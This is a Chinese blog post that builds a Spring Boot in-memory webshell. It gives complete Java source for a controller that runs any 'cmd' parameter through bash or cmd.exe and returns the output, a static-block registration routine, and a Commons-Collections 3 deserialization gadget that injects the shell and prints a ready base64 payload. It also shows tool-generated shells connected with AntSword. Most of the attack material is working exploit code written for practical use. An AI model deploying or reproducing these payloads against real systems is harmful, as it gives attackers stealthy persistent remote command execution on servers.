0x00 前言

几个月前就学了内存马,把tomcat、spring、Java Agent三种内存马学完之后就不管不顾,并没有用于实战中。真正在打实战才发现,我对内存马的利用只局限于上传jsp文件。

我反思自己为什么会犯这种错误——学之不能致用,一方面说明我的学习是机械的学习,极大的依赖教程,并没有深刻的理解原理;另一方面,就是没有主动想过用内存马打打实战,甚至是靶场也行。

所以本文将从两个维度综合讨论内存马,也就是原理和实战,这里不再赘叙内存马的基础原理,而是让原理为实战控制器。

本文以Spring Conrtoller内存马为例。

0x01 环境

现在比较流行的框架是Spring Boot,所以我选择用Java8 + Spring Boot2.6:

image-20251030183704849

插件带上一个Spring Web,因为本文会结合前端:

image-20251030183759492

Spring Boot各个组件版本如下:

  • Spring Framework: 5.3.23

  • Spring Web: 5.3.23

  • Tomcat: 9.0.68

创建web包,给出hello控制器和反序列化控制器:

image-20251030185417251

image-20251030185434988

0x02 原理

原理说简单也简单,就是把一个恶意组件(本文组件是控制器)打入内存,由于该组件可以被前端调用,我们可以利用该组件随时进行RCE。

内存马的优点有二,一是注入到内存中,常规方法难以发现,在此基础上更近一步的是不死马;二是可以在不出网不回显的情况下于请求包中构造回显,扩大了攻击面。

回到原理。我们要想成功利用Spring Controller内存马进行RCE并把内容回显到响应体,必须满足以下条件:

  1. 得到当前的上下文,也就是WebApplicationContext。WebApplicationContext 是 Spring Boot Web 控制器的运行时环境,通过它,我们就可以把Controller内存马动态注册到当前的Web控制器。

  2. 实现Controller内存马,该控制器给出一个方法/路由接受恶意参数并返回目标数据到响应包。

  3. 写一段Java程序,把内存马注册到WebApplicationContext里,使得当前的Web控制器可以找到该Controller。

事实上,这三步可以整合到一个类的静态代码块,那么只要该类被加载,静态代码块里的内容就会自动执行内存马。在Java反序列化中,TemplatesImpl类可以加载实现了AbstractTranslet接口的类,前面说的三合一类实现该接口就可以了。

0x03 POC

构造EvilController

我们不妨先构造一个简单的恶意控制器(EvilController),也就是内存马的核心部分,通过该控制器,我们给出一个POST参数cmd,就可以让系统执行cmd并将结果回显到响应包。代码如下:

image-20251030195504952

注意这几行代码:

java.io.PrintWriter printWriter = response.getWriter(); :获取HTTP响应的PrintWriter对象,之后把执行命令之后的输出读入到响应体

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); :这里的builder.start()就是在执行系统命令。

现在我们得到了一个可以被利用的恶意控制器,但是该控制器并没有被注册到Spring Boot的Web服务配置中,那么当我们前端访问evilserver路由时,系统找不到对应的控制器。

注册EvilController

注册谁,注册到哪里,怎么注册?注册EvilController,注册到Web服务,至于注册方法,由于专业性较强,我稍微介绍即可。

在Spring MVC框架中,RequestMappingHandlerMapping类可以注册Controller,想要获得前者,需要通过ApplicationContext获取,而WebApplicationContext的获取有好几种方法,我下面就拿一种分析:

1
2
// getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext。
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

然后我们获得RequestMappingHandlerMapping类:

1
2
//  从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);

接着我们把Controller注册到RequestMappingHandlerMapping里即可:

1
2
3
4
5
6
7
8
9
// 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("evilController").newInstance(), method);

现在我们要把代码整合起来,却发现一个问题,这行代码一定要运行在Web服务里才能得到WebApplicationContext:

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

所以接下来有两种思路:

  1. 单独写一个class被反序列化加载类,触发静态代码块执行注册流程
  2. 把这段代码就放在EvilController的静态代码块里,因为静态代码块是最新被执行的,所以就相当与先获得WebApplicationContext再进行后面流程

选择第一种,那我们需要单独构造一个类,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.upgraded.test;

import com.sun.org.apache.bcel.internal.generic.ATHROW;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import java.lang.reflect.Method;

public class Register extends AbstractTranslet {
static {
// 获得WebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
// 获得RequestMappingHandlerMapping
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 把EvilController注册到RequestMappingHandlerMapping
Method method = null;
try {
method = (Class.forName("com.upgraded.web.evilController").getDeclaredMethods())[0];
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
PatternsRequestCondition url = new PatternsRequestCondition("/evilserver");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
try {
r.registerMapping(info, Class.forName("com.upgraded.web.evilController").newInstance(), method);
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

选择第二种,就把该类换成EvilController,再往静态代码块里添加注册流程就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package com.upgraded.web;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.lang.reflect.Method;

//@Controller
public class EvilController extends AbstractTranslet implements Serializable{
static {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 获得RequestMappingHandlerMapping
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 把EvilController注册到RequestMappingHandlerMapping,由于我实现了AbstractTranslet接口,就必须进行方法选择
Method method = null;
try {
for (Method m : Class.forName("com.upgraded.web.EvilController").getDeclaredMethods()) {
if ("evilServer".equals(m.getName())) {
method = m;
break;
}
}
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
// 从RequestMappingInfo拿配置
RequestMappingInfo.BuilderConfiguration config =
new RequestMappingInfo.BuilderConfiguration();
config.setPatternParser(r.getPatternParser()); // 关键!

// 要使用config配置
RequestMappingInfo info = RequestMappingInfo
.paths("/evilserver")
.methods(RequestMethod.GET, RequestMethod.POST)
.options(config) // 使用配置
.build();
try {
r.registerMapping(info, Class.forName("com.upgraded.web.EvilController").newInstance(), method);
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}


@ResponseBody // 将返回值直接作为HTTP响应体
public String evilServer(HttpServletRequest request, HttpServletResponse response, @RequestParam("cmd") String cmd) throws Exception{ // 接收cmd参数
if (cmd != null) { // 检查cmd参数是否为null
try {
java.io.PrintWriter printWriter = response.getWriter(); // 获取HTTP响应的输出流
ProcessBuilder builder; // 声明进程构建器变量
// 判断当前操作系统是Windows还是Linux
if (System.getProperty("os.name").toLowerCase().contains("win")) { // 判断是否为Windows系统
builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); // Windows下使用cmd.exe执行命令
} else { // 如果不是Windows系统
builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd}); // Linux下使用bash执行命令
}
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); // 启动进程并获取输出流
String s = bufferedReader.readLine(); // 读取命令执行结果的第一行
printWriter.println(s); // 将结果写入HTTP响应
printWriter.flush(); // 刷新缓冲区,立即发送数据
printWriter.close(); // 关闭输出流
} catch (Exception e) { // 捕获所有异常
e.printStackTrace(); // 打印异常堆栈信息到控制台
}
}
return "over";
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

接下来就写一个cc3链,其被Web服务里的unser路由接收后,会进行Java反序列化,其中会把EvilController类进行类加载,先触发其静态代码块,其中便注册了EvilController内存马。

先添加依赖:

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

写出gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package com.upgraded.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;


import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import java.util.Base64;

import static org.springframework.util.SerializationUtils.serialize;

public class CC3_payload {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class TemplatesImplClass = templates.getClass();
Field nameField = TemplatesImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_nameIsHere");


Field bytecodesField = TemplatesImplClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/all_test/test_java/com/MeHorses/upgraded/target/classes/com/upgraded/web/EvilController.class"));
byte[][] codes = new byte[][]{code};
bytecodesField.set(templates, codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 上面是transform方法,属于链子底层方法,接下来寻找调用transform方法的地方,也就是链子的顶部方法。
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

byte[] serialize = serialize(annotationInvocationHandler);
System.out.println(Base64.getEncoder().encodeToString(serialize));


}

public static <T> byte[] serialize(T o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static <T> T deserialize(byte[] ser) throws Exception {
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(ser));
return (T) in.readObject();
}


}

在实战中,如果一个反序列化入口没有回显也不能出网,我们就可以运行CC3_payload,把base64编码后的payload喂给反序列化入口,后端会从解码后的payload中类加载EvilController,后者的静态代码块执行,该Controller被成功注册,我们最后访问/evilserver,传参cmd即可。结果如下:

image-20251031143824056

在实战中,我们可以cat /etc/passwd等等,最后的输出回到响应体。

其实在编写POC的时候遇到很多错误,大致有下,具体就不展开说说了:

  • Spring Boot 不使用传统的 ContextLoaderListener,需要从请求上下文获取 WebApplicationContext
  • Spring 5.3+ 手动注册路由必须配置 PatternParser
  • 修改源码后必须重新编译,否则读取的还是旧字节码
  • 方法选择要明确指定名称,不能依赖数组索引顺序

0x04 工具

我们现在可以构造Spring Controller内存马,对比一下也能搞出其他类型的内存马,然后就可以集成为一个工具。出于时间考量,我在短期内并没有集成的想法。但是比赛的时候需要用到内存马,我没有时间慢慢思考调试,所以我需要找到可以快速生成内存马,以及可以把内存马用到Java其他漏洞上的工具。

我最先看到了这个比较有名的工具:pen4uin/java-memshell-generator: 一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.

image-20251031152505089

这个工具可以很方便的构造内存马,暂且不管密钥,密码和请求头键值对的设计都是为了增加内存马的隐秘性。但是这个工具存在一个问题,就是不能直接对接Java反序列化,我们必须把编码后的数据再放入TemplatesImpl里。

说到Java反序列化工具,我想起Java Chains,正好我记得其可以对接内存马,一看还真是对接了这个工具,具体参数如下:

image-20251031153530196

拿上面的反序列化入口试试:

image-20251031153738717

image-20251031153823371

AntSwort添加连接:

image-20251031153946913

image-20251031154002063

成功连上:

image-20251031154024499

0x05 深入

要想搞懂内存马,只了解一个Spring Controller内存马是不够的。正好借着这次学习的机会,搞一个属于自己的内存马+反序列化 EXP。

Java Agent内存马

我发现Java Chains似乎没有内置Java Agent内存马,正好我也忘记的差不多了,就先从Java Agent内存马开始。


© 2024 Pax 使用 Stellar 创建
总访问 0 次 | 本页访问 0

本博客所有文章除特别声明外,均采用 [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/) 许可协议,转载请注明出处。